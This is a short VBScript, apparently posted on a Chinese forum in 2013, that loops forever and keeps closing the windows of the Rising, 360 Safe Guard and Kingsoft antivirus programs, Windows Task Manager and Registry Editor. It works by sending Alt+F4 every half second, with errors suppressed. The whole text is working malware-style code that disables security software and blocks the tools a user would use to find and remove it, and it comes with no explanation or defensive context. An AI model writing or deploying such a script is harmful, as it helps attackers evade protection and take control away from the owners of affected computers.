On Error Resume Next
Set Q = CreateObject("wscript.Shell")
Do
If Q.AppActivate("瑞星") = True Then
Q.SendKeys "%{F4}"
End if
If Q.AppActivate("360安全卫士") = True Then
Q.SendKeys "%{F4}"
End if
If Q.AppActivate("金山毒霸") = True Then
Q.SendKeys "%{F4}"
End if
If Q.AppActivate("Windows 任务管理器") = True Then
Q.SendKeys "%{F4}"
End if
If Q.AppActivate("注册表编辑器") = True Then
Q.SendKeys "%{F4}"
End if
Wscript.Sleep 500
Loop作者: czjt1234 时间: 2013-5-3 15:04